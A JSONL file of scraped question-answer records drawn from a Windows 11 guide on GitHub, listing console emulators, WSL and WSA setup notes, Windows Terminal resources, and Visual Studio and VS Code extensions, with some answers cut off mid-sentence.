{"id": "gh_7320af69b953", "question": "How to: Sega Dreamcast", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Flycast](https://github.com/flyinghead/flycast) is a multi-platform Sega Dreamcast, Naomi and Atomiswave emulator derived from reicast.\n\n[Redream](https://redream.io/) is a Dreamcast emulator, enabling you to play your favorite Dreamcast games in high-definition(1080p or 4k).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521827"}
{"id": "gh_9951a1461780", "question": "How to: PlayStation Portable", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[PPSSPP](https://www.ppsspp.org/) is a PSP emulator that can run games in full HD resolution. It can even upscale textures that would otherwise be too blurry as they were made for the small screen of the original PSP.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521832"}
{"id": "gh_676cb64f2218", "question": "How to: PlayStation 1", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[DuckStation](https://www.duckstation.org/) is an simulator/emulator of the Sony PlayStation 1 console, focusing on playability, speed, and long-term maintainability.\n\n[Avocado](https://github.com/JaCzekanski/Avocado) is a Modern PlayStation 1 emulator.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521837"}
{"id": "gh_eb270f7d6b03", "question": "How to: PlayStation 2", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[PCSX2](https://pcsx2.net/) is a Playstation 2 'emulator', a free program that tries to replicate the Playstation 2 console to enable you to play PS2 games on your PC.\n\n[Play!](https://github.com/jpd002/Play-) is a PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS and web browser platforms.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521841"}
{"id": "gh_68158a72dec7", "question": "How to: PlayStation 3", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[RPCS3](https://rpcs3.net/) is an experimental open-source Sony PlayStation 3 emulator and debugger written in C++ for Windows and Linux. RPCS3 started development in May of 2011 by its founders DH and Hykem. The emulator is currently capable of running over 1800 commercial titles powered by Vulkan and OpenGL.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521846"}
{"id": "gh_a9d3b93aa538", "question": "How to: Performance Benchmarks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n\n[Process Lasso](https://bitsum.com/) is a tool for real-Time CPU Optimization and Automation.\n[Geekbench 6](https://www.geekbench.com/download/) is a cross-platform benchmark that measures your system's performance with the press of a button.\n[Phoronix Test Suite](https://www.phoronix-test-suite.com/)\n\n[UNIGINE Superposition](https://benchmark.unigine.com/superposition) is an extreme performance and stability test for PC hardware: video card, power supply, cooling system.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521853"}
{"id": "gh_a250dca514b9", "question": "How to: Windows Subsystem for Android (WSA)", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[Windows Subsystem for Android (WSA)](https://docs.microsoft.com/en-us/windows/android/wsa/) is a tool that allows your device to run Android apps natively in Windows 11. This article explains how to set up WSA in Windows 11 to Run Android Apps. WSA runs as a virtual machine using [Hyper-V](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/) and is based on [AOSP](https://source.android.com/) version 11. \n\nAs of now, WSA has some specific requirements. With time, some pre-requisites like Region would be eased. See the following requirements below:\n\n   - Your Device must be running Build 22000 or later meeting the requirements for Windows 11, including supported processors.\n\n   - The Computer must support virtualization and be enabled in BIOS/UEFI and Optional Features.\n\n   - The device must have at least 8GB of RAM and SSD as a Storage device. For WSA, a Hard drive is not supported.\n\n   - The Store version must be 22110.1402.6.0 or higher. Go to Store Library to update.\n\n   - The PC's Region and Amazon account you plan to use must be US-based.\n\n   - Your PC must be in Windows Insider Program Beta Channel.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521860"}
{"id": "gh_592ebe7e4770", "question": "How to: Windows Subsystem for Android Settings", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\nThere are also a bunch of Android Settings you can customize as well, which are as under.\n\n - Files show the files which Apps download to the Device.\n\n - Subsystem Screen reader helps accessibility wise, like screen reading on in Android apps you plan to run.\n\n - Developer mode helps you to sideload an APK file manually using ADB.Checkout this [YouTube video](https://www.youtube.com/watch?v=2_LxsWa7JIg).\n \n - If the Subsystem is selected As needed, no resources are used in the Background, so as a result, apps open slowly. If a continuous option is selected, resources continue to be used in the Background, and Apps open quickly.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521872"}
{"id": "gh_e9cc34caa428", "question": "How to: WSA Toolbox", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[WSA Toolbox](https://github.com/voletro/wsa-toolbox) is a Windows 11 application to easily install and use the Windows Subsystem For Android™ package on your computer. \n\nThese tools include:\n\n   - Installation of any APK file in one click.\n   - Access to the ADB Shell.\n   - Installation of Windows Subsystem For Android™ in unsupported regions.\n   - Installation of the Aurora Store as an alternative to the Google Play Store.\n   - Installation of a simple app launcher for easy access to other apps.\n   - Installation of any APK file by just double clicking on it.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521879"}
{"id": "gh_36af5082c489", "question": "How to: Windows Subsystem for Linux (WSL)", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521884"}
{"id": "gh_9f2bf5e38313", "question": "How to: WSL Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[WSL 2 Linux Kernel on GitHub](https://github.com/microsoft/WSL2-Linux-Kernel) is the source for the Linux kernel used in Windows Subsystem for Linux 2 (WSL2).\n\n[WSLConf](https://www.youtube.com/playlist?list=PLwFSk464RMxnZkvZ1HKrlNyj-s6Zq4fWe) is a community-initiated event on all things Windows Subsystem for Linux and WSL-related.\n\n[What is the Windows Subsystem for Linux?](https://docs.microsoft.com/en-us/windows/wsl/about)\n\n[Pro Windows Subsystem for Linux (WSL): Powerful Tools and Practices for Cross-Platform Development and Collaboration Book](https://www.amazon.com/Windows-Subsystem-Linux-Cross-Platform-Collaboration/dp/1484268725/ref=sr_1_1?dchild=1&keywords=Pro+Windows+Subsystem+for+Linux+%28WSL%29&qid=1614379171&s=digital-text&sr=1-1-catcorr)\n\n[Windows Subsystem for Linux 2 (WSL 2) Tips, Tricks, and Techniques Book](https://www.amazon.com/Windows-Subsystem-Linux-Tricks-Techniques-ebook/dp/B08K98C7DB/ref=sr_1_1?dchild=1&keywords=WSL+book&qid=1614379053&s=digital-text&sr=1-1)\n\n[Comparing WSL 2 and WSL 1 ](https://docs.microsoft.com/en-us/windows/wsl/compare-versions)\n\n[GPU accelerated machine learning training in the Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/tutorials/gpu-compute)\n\n[CUDA on Windows Subsystem for Linux(WSL) 2](https://developer.nvidia.com/blog/announcing-cuda-on-windows-subsystem-for-linux-2/)\n\n[Developing in Windows Subsystem for Linux (WSL)](https://code.visualstudio.com/docs/remote/wsl)\n\n[Using WSL 2 with Visual Studio Code](https://code.visualstudio.com/blogs/2019/09/03/wsl2)\n\n[WSLG: X11 and Wayland Applications in WSL](https://linuxplumbersconf.org/event/9/contributions/611/attachments/702/1298/XDC2020_-_X11_and_Wayland_applications_in_WSL.pdf)\n\n[How to run Podman on Windows with WSL 2](https://www.redhat.com/sysadmin/podman-windows-wsl2)\n\n[Create a development container in Visual Studio Code](https://code.visualstudio.com/docs/remote/create-dev-container)\n\n[Getting started with MySQL, MongoDB, PostgreSQL, SQLite, Microsoft SQL Server, or Redis to set up a database on WSL](https://docs.microsoft.com/en-us/windows/wsl/tutorials/wsl-database)\n\n[Setting up SAP HANA, express edition into WSL 2 (Windows Subsystem for Linux)](https://blogs.sap.com/2020/09/30/installing-sap-hana-express-edition-into-wsl2-windows-subsystem-for-linux/)\n\n[Set up your Node.js development environment with WSL 2](https://docs.microsoft.com/en-us/windows/nodejs/setup-on-wsl2)\n\n[Getting started mounting a Linux disk in WSL 2](https://docs.microsoft.com/en-us/windows/nodejs/setup-on-wsl2)\n\n[Using Fedora with Microsoft's WSL 2](https://fedoramagazine.org/wsl-fedora-33/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521893"}
{"id": "gh_12671a39290b", "question": "How to: WSL Tools & Projects", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[wslu](https://github.com/wslutilities/wslu) is a collection of utilities for Windows 10 Linux Subsystem, such as retrieving Windows 10 environment variables or creating your favorite Linux GUI application shortcuts on Windows 10 Desktop.\n\n[Ubuntu on WSL](https://wiki.ubuntu.com/WSL) is a wiki guide on getting started with the latest version of Ubuntu installed and setup on WSL for Windows 10.\n\n[Ubuntu on Windows Community Preview](https://www.microsoft.com/en-us/p/ubuntu-on-windows-community-preview/9p9q5zh1hrr0) is a special build of Ubuntu for WSL as a sandbox for testing new features and getting community feedback. This build is intended for early adopters in the WSL community.\n\n[Ubuntu Pro for Azure](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/canonical.0001-com-ubuntu-pro-focal?tab=Overview) is a premium image designed by Canonical optimized for production environments running on Azure. It includes security and compliance services, enabled by default, in a form suitable for small to large-scale Linux enterprise operations — with no contract needed.\n\n[Azure CLI](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest) is a set of commands used to create and manage Azure resources. The Azure CLI is available across Azure services and is designed to get you working quickly with Azure, with an emphasis on automation.\n\n[Visual Studio Code Remote - WSL extension](https://code.visualstudio.com/docs/remote/wsl) lets you use the Windows Subsystem for Linux (WSL) as your full-time development environment right from VS Code. You can develop in a Linux-based environment, use Linux-specific toolchains and utilities, and run and debug your Linux-based applications all from the comfort of Windows. The extension runs commands and other extensions directly in WSL so you can edit files located in WSL or the mounted Windows filesystem (for example /mnt/c) without worrying about pathing issues, binary compatibility, or other cross-OS challenges.\n\n[Visual Studio Code Remote Development and GitHub Codespaces](https://github.com/Microsoft/vscode-dev-containers) is a  repository of development container definitions for the VS Code Remote - Containers extension and GitHub Codespaces. A development container is a running [Docker](https://www.docker.com/) container with a well-defined tool/runtime stack and its prerequisites. The [VS Code Remote Containers](https://aka.ms/vscode-remote/download/containers) extension allows you to clone a repository or open any folder mounted into (or already inside) a dev container and take advantage of VS Code's full development feature set. [GitHub Codespaces](https://github.com/features/codespaces) both use this same concept to quickly create customized, cloud-based development environments accessible from VS Code or the web.\n\n[Windows Terminal](https://github.com/microsoft/terminal) is a new, modern, feature-rich, productive terminal application for command-line users. It includes many of the features most frequently requested by the Windows command-line community including support for tabs, rich text, globalization, configurability, theming & styling, and more.\n\n[PowerShell Core](https://github.com/PowerShell/PowerShell) is a cross-platform (Windows, Linux, and macOS) automation and configuration tool/framework that works well with your existing tools and is optimized for dealing with structured data (e.g. JSON, CSV, XML, etc.), REST APIs, and object models. It includes a command-line shell, an associated scripting language and a framework for processing cmdlets.\n\n[Docker Desktop WSL 2 backend](https://docs.docker.com/docker-for-windows/wsl/) creates an  architectural change that gvies a full Linux kernel built by Microsoft, allowing Linux containers to run natively without emulation. With Docker Desktop running on WSL 2, users can leverage Linux workspaces and avoid having to maintain both Linux and Windows build scripts. In addition, WSL 2 provides improvements to file system sharing, boot time, and allows access to some cool new features for Docker Desktop users.\n\n[Dxgkrnl](https://devblogs.microsoft.com/directx/directx-heart-linux/) is a brand-new kernel driver for Linux that exposes the /dev/dxg device to user mode Linux. /dev/dxg exposes a set of IOCTL that closely mimic the native WDDM D3DKMT kernel service layer on Windows. Dxgkrnl inside of the Linux kernel connects over the VM Bus to its big brother on the Windows host and uses this VM bus connection to communicate with the physical GPU.\n\n[Ansible-WSL](https://github.com/Wintus/Ansible-WSL) is an open source program that makes it easier to provision your Windows from inside of WSL by Ansible.\n\n[WSL-DistroLauncher](https://github.com/Microsoft/WSL-DistroLauncher) is a sample/reference launcher app for WSL distro Microsoft Store packages.\n\n[Pengwin](https://github.com/WhitewaterFoundry/Pengwin) is a Linux distro optimized", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521909"}
{"id": "gh_a146946c3094", "question": "How to: Setting up WSL Linux Distributions", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n**Requirements**\n\nBefore you install any of the Linux Distributions make sure to install/enable the Windows Subsystem for Linux on your Windows 10 machine. Following the instructions below:\nInstalling Windows Subsystem Linux\n**OR**\n**For more technical users you run this command in Powershell:**\n\n```sh\nEnable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux\n```\n\n[Ubuntu 20.04 LTS](https://www.microsoft.com/en-us/p/ubuntu-2004-lts/9n6svws3rx71?activetab=pivot:overviewtab)\n[Debian](https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?activetab=pivot:overviewtab)\n[Fedora for WSL](https://fedoramagazine.org/wsl-fedora-33/)\n[SUSE Linux Enterprise Server 15 SP1](https://www.microsoft.com/en-us/p/suse-linux-enterprise-server-15-sp1/9pn498vpmf3z?activetab=pivot:overviewtab)\n[openSUSE Leap 15.2](https://www.microsoft.com/en-us/p/opensuse-leap-152/9mzd0n9z4m4h?activetab=pivot:overviewtab)\n[Kali Linux](https://www.microsoft.com/en-us/p/kali-linux/9pkr34tncv07?activetab=pivot:overviewtab)\n[Pengwin](https://www.microsoft.com/en-us/p/pengwin/9nv1gv1pxz6p?activetab=pivot:overviewtab)\n[Fedora Remix for WSL](https://www.microsoft.com/en-us/p/fedora-remix-for-wsl/9n6gdm4k2hnc?activetab=pivot:overviewtab)\n[GWSL](https://www.microsoft.com/en-us/p/gwsl/9nl6kd1h33v3?activetab=pivot:overviewtab) is an XServer that lets you easily run graphical Linux apps on Windows 10.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521920"}
{"id": "gh_d1c7e1f9b1d8", "question": "How to: Windows Terminal", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n[Windows Terminal](https://github.com/microsoft/terminal) is a new, modern, feature-rich, productive terminal application for command-line users. It includes many of the features most frequently requested by the Windows command-line community including support for tabs, rich text, globalization, configurability, theming & styling, and more. Take a look at the [Windows Terminal GitHub](https://github.com/Microsoft/Terminal).\nWindows Terminal\nTerminal Architecture\n[Git for Windows](https://gitforwindows.org) is a distributed version control system tool that focuses on offering a lightweight, native set of tools that bring the full feature set of the Git SCM to Windows while providing appropriate user interfaces for experienced Git users and novices alike.\n\n[Windows UI Library (WinUI)](https://docs.microsoft.com/en-us/windows/apps/winui/) is a native user experience (UX) framework for both Windows desktop and UWP applications. Take a look at the [Windows UI Library Roadmap](https://github.com/microsoft/microsoft-ui-xaml/blob/main/docs/roadmap.md).\n\n[Windows UI Library (WinUI) 2](https://docs.microsoft.com/en-us/windows/apps/winui/winui2/) is tightly integrated with [Windows 10 and later SDKs](https://developer.microsoft.com/windows/downloads/windows-10-sdk/) and provides official native Windows UI controls and other user interface elements for UWP applications (and desktop applications using [XAML Islands](https://docs.microsoft.com/en-us/windows/apps/desktop/modernize/xaml-islands)).\n\n[XAML Islands](https://docs.microsoft.com/en-us/windows/apps/desktop/modernize/xaml-islands)) is a feature that enables you to enhance the look, feel, and functionality of your existing WPF, Windows Forms, and C++ desktop (Win32) applications with the latest Windows 10 UI features that are only available via WinRT XAML controls. This means that you can use UWP features such as [Windows Ink](https://docs.microsoft.com/en-us/windows/uwp/design/input/pen-and-stylus-interactions) and controls that support the [Fluent Design System](https://docs.microsoft.com/en-us/windows/uwp/design/fluent-design-system/index) in your existing WPF, Windows Forms, and C++ desktop applications.\n\n[Windows Community Toolkit](https://docs.microsoft.com/en-us/windows/communitytoolkit/) is a collection of helper functions, custom controls, and app services. It simplifies and demonstrates common developer tasks building UWP apps for Windows 10. The toolkit can be used to build apps for any Windows 10 device, including PC, Mobile, Xbox, IoT and HoloLens. You can also use the toolkit with an existing desktop app converted to UWP using the Desktop Bridge.\n\n[Windows Pseudo Console (ConPTY)](https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/) is an API that provides a mechanism that is similar to the POSIX PTY model, but in a Windows-relevant manner VT Interactivity. Where it receives incoming UTF-8 encoded text, converts each displayable text character into the corresponding INPUT_RECORD, and stores them in the Input Buffer.\n\n[Comparison of WinUI 3 and WinUI 2](https://docs.microsoft.com/en-us/windows/apps/winui/#comparison-of-winui-3-and-winui-2)\n\n[Introducing Windows Terminal](https://devblogs.microsoft.com/commandline/introducing-windows-terminal/)\n\n[An overview on Windows Terminal | Microsoft Docs](https://docs.microsoft.com/en-us/windows/terminal/)\n\n[Windows Terminal Actions | Microsoft Docs](https://docs.microsoft.com/en-us/windows/terminal/customize-settings/actions)\n\n[Windows Terminal command line arguments | Microsoft Docs](https://docs.microsoft.com/en-us/windows/terminal/command-line-arguments)\n\n[Windows Terminal SSH | Microsoft Docs](https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh)\n\n[Windows Terminal Themes](https://windowsterminalthemes.dev)\n\n[Top Windows Command Line Courses Online | Udemy](https://www.udemy.com/topic/windows-command-line/)\n\n[Learning Windows Terminal Online Class | LinkedIn Learning](https://www.linkedin.com/learning/learning-windows-terminal)\n\n[Learning the Command Line with Online Courses | edX](https://www.edx.org/learn/command-line)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521933"}
{"id": "gh_c176ce098b67", "question": "How to: Visual Studio and VSCode", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n[Visual Studio](https://visualstudio.microsoft.com/) is an integrated development environment (IDE) from Microsoft; which is a feature-rich application that can be used for many aspects of software development. Visual Studio makes it easy to edit, debug, build, and publish your app. By using Microsoft software development platforms such as Windows API, Windows Forms, Windows Presentation Foundation, and Windows Store.\n\n * [VSExtensibility](https://github.com/microsoft/VSExtensibility) is a repo for upcoming changes to extensibility in Visual Studio, the new extensibility model, and [Language Server Protocol(LSP)](https://github.com/microsoft/VSExtensibility/blob/main/docs/lsp/lsp-extensions-specifications.md). \n * [Visual Studio Documentation](https://docs.microsoft.com/en-us/visualstudio/windows/)\n * [What's new in C# 12](https://learn.microsoft.com/en-us/dotnet/csharp/whats-new/csharp-12)\n * [What's new in .NET 8](https://dotnet.microsoft.com/en-us/download/dotnet)\nVisual Studio\n[Visual Studio Marketplace](https://marketplace.visualstudio.com) is a marketplace for all extensions for Visual Studio, Azure DevOps Services, Azure DevOps Server and Visual Studio Code.\nVisual Studio Marketplace\n[Visual Studio Code](https://code.visualstudio.com) is a lightweight but powerful source code editor which runs on your desktop and is available for Windows, macOS and Linux. It comes with built-in support for JavaScript, TypeScript and Node.js and has a rich ecosystem of extensions for other languages (such as C++, C#, Java, Python, PHP, Go) and runtimes (such as .NET and Unity).\nVS Code\n[Visual Studio Code Marketplace](https://marketplace.visualstudio.com/VSCode) is a marketplace for all extensions for Visual Studio, Azure DevOps Services, Azure DevOps Server and Visual Studio Code.\nVS Code Marketplace\n[VS Code Documentation](https://code.visualstudio.com/docs)\n\n[Working with GitHub in VS Code](https://code.visualstudio.com/docs/editor/github)\n\n[Code Server](https://coder.com/) is a tool that allows you to run [VS Code](https://code.visualstudio.com/) on any machine anywhere and access it in the browser.\n\n[GitHub Codespaces](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces) is an integrated development environment(IDE) on GitHub. That allows developers to develop entirely in the cloud using Visual Studio and Visual Studio Code. Also, from any repo or pull request on GitHub you can simply press the period (.) key on your keyboard to bring up the browser-based VS Code environment with the source code file ready for editing. That dot (.) press to bring up the web-based VS Code editor takes you to https://github.dev/.\n\n[Language Server Protocol (LSP)](https://microsoft.github.io/language-server-protocol/) is a tool that defines the protocol used between an editor or IDE and a language server that provides language features like auto complete, go to definition, find all references.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521944"}
{"id": "gh_fe6421213d21", "question": "How to: Visual Studio Extensions for Developer Productivity", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n**Note:**  [Visual Studio IntelliCode](https://visualstudio.microsoft.com/services/intellicode/) is installed by default with any workload that supports C#, C++, TypeScript/JavaScript, or XAML in Visual Studio 2022.\n  \n [Visual Assist](https://marketplace.visualstudio.com/items?itemName=WholeTomatoSoftware.VisualAssist) is a productivity tool for C/C++ and C# that improves IDE features related to navigation, refactoring, code generation, and coding assistance along with specific tooling for UE4/UE5.\n  \n [Resharper](https://marketplace.visualstudio.com/items?itemName=JetBrains.ReSharper) is a popular developer productivity extension for Microsoft Visual Studio. It automates most of what can be automated in your coding routines. It finds compiler errors, runtime errors, redundancies, and code smells right as you type, suggesting intelligent corrections for them.\n    \n [Visual Studio Live Share](https://visualstudio.microsoft.com/services/live-share/) is an extension that provides a collection of extensions that enable real-time collaborative development with VS Live Share.\n    \n [Visual Studio Spell Checker](https://marketplace.visualstudio.com/items?itemName=EWoodruff.VisualStudioSpellCheckerVS2022andLater) is an editor extension that checks the spelling of comments, strings, and plain text as you type or interactively with a tool window. It can also spell check an entire solution, project, or selected items. \n    \n [GitHub Extensions for Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitHub.GitHubExtensionforVisualStudio) is a Visual Studio Extension that brings the GitHub Flow into Visual Studio.\n    \n [REST API Client Code Generator](https://marketplace.visualstudio.com/items?itemName=ChristianResmaHelle.ApiClientCodeGenerator) is a collection of Visual Studio C# custom tool code generators for Swagger / OpenAPI specification files.\n    \n [Code Maid](https://marketplace.visualstudio.com/items?itemName=SteveCadwallader.CodeMaid) is an open source Visual Studio extension to cleanup and simplify our C#, C++, F#, VB, PHP, PowerShell, R, JSON, XAML, XML, ASP, HTML, CSS, LESS, SCSS, JavaScript and TypeScript coding.\n    \n [VS Color Output](https://marketplace.visualstudio.com/items?itemName=MikeWard-AnnArbor.VSColorOutput)  is an extension for Visual Studio. This extension is a color output for build and debug windows.\n    \n [Visual Studio Theme Pack](https://marketplace.visualstudio.com/items?itemName=idex.vsthemepack) is a collection of popular themes, now available for Visual Studio.\n    \n [Markdown Editor](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.MarkdownEditor2) is afull featured Markdown editor with live preview and syntax highlighting. Supports GitHub flavored Markdown.\n    \n [SQLite and SQL Server Compact Toolbox](https://marketplace.visualstudio.com/items?itemName=ErikEJ.SQLServerCompactSQLiteToolbox) is an extension for Visual Studio. This extension adds several features to help your embedded database development efforts: Scripting of tables and data, import from SQL Server and CSV files and much, much more.\n \n [NuGet Package Manager](https://marketplace.visualstudio.com/items?itemName=NuGetTeam.NuGetPackageManager) collection of tools to automate the process of downloading, installing, upgrading, configuring, and removing packages from a VS Project.\n    \n [SlowCheetah](https://marketplace.visualstudio.com/items?itemName=vscps.SlowCheetah-XMLTransforms) is a package allows you to automatically transform your app.config (or any file) when you press F5 in Visual Studio. You can have different transformations based on the build configuration. This will enable you to easily have different app settings, connection strings, etc for Debug versus Release. \n    \n [Roslynator](https://marketplace.visualstudio.com/items?itemName=josefpihrt.Roslynator2022) is a collection of 500+ analyzers, refactorings and fixes for C#, powered by Roslyn.\n    \n [Trailing Whitespace Visualizer](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.TrailingWhitespaceVisualizer) is an  extension will highlight and remove any trailing whitespace on any line in any editor in Visual Studio. This makes it really easy to get rid of those annoying invisible characters.\n    \n [Magical C# Debugging—OzCode](https://marketplace.visualstudio.com/items?itemName=CodeValueLtd.OzCode) is a must have Visual Studio Extension which cuts down on debugging time and increases productivity by detecting and isolating bugs, making them easy to fix.\n    \n [File Icons](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.FileIcons) is an extension that adds file icons to Solution Explorer for files that Visual Studio doesn't provide icons for.\n \n [Image Optimizer](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.ImageOptimizer) is an extension that uses industry standard tools to optim", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521964"}
{"id": "gh_8c941fd22c5a", "question": "How to: VS Code Extensions for Developer Productivity", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[Visual Studio Live Share](https://visualstudio.microsoft.com/services/live-share/) is a service/ extension that enables you to collaboratively edit and debug with others in real time, regardless of the programming languages you're using or app types you're building. You can instantly and securely share your current project, start a joint debugging session, share terminal instances, forward localhost web apps, have voice calls, and more.\n\n[GistPad](https://marketplace.visualstudio.com/items?itemName=vsls-contrib.gistfs) is a Visual Studio Code extension that allows you to edit GitHub Gists and repositories from the comfort of your favorite editor. You can open, create, delete, fork and star gists and repositories, and then seamlessly begin editing files as if they were local, without ever cloning, pushing or pulling anything.\n\n[Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer) is an extension for Visual Studio Code that launches a development local Server with live reload feature for static & dynamic pages.\n\n[GitHub Pull Requests and Issues](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github) is an extension for Visual Studio Code that allows you to review and manage GitHub pull requests and issues in Visual Studio Code.\n\n[Tailscale for VS Code](https://marketplace.visualstudio.com/items?itemName=Tailscale.vscode-tailscale) is an extension that provides no-hassle, secure networking alongside your code. With Tailscale Funnel you can share anything from a device or node in your [Tailscale network (tailnet)](https://tailscale.com/kb/1136/tailnet/) with anyone on the Internet.\n\n[Terminal](https://marketplace.visualstudio.com/items?itemName=formulahendry.terminal) is an extension for Visual Studio Code that lets you run terminal command directly in the Editor.\n\n[GitHub Copilot](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) is a tool that provides autocomplete-style suggestions from an AI pair programmer as you code.\n\n[GitHub Copilot Labs](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot-labs) is a companion extension to GitHub Copilot that houses experimental and up-and-coming features in a sidebar.\n\n[Profile Switcher](https://marketplace.visualstudio.com/items?itemName=aaronpowell.vscode-profile-switcher) is an extension for Visual Studio Code that allows you to switch between different profiles you have created.\n\n[Material Icon 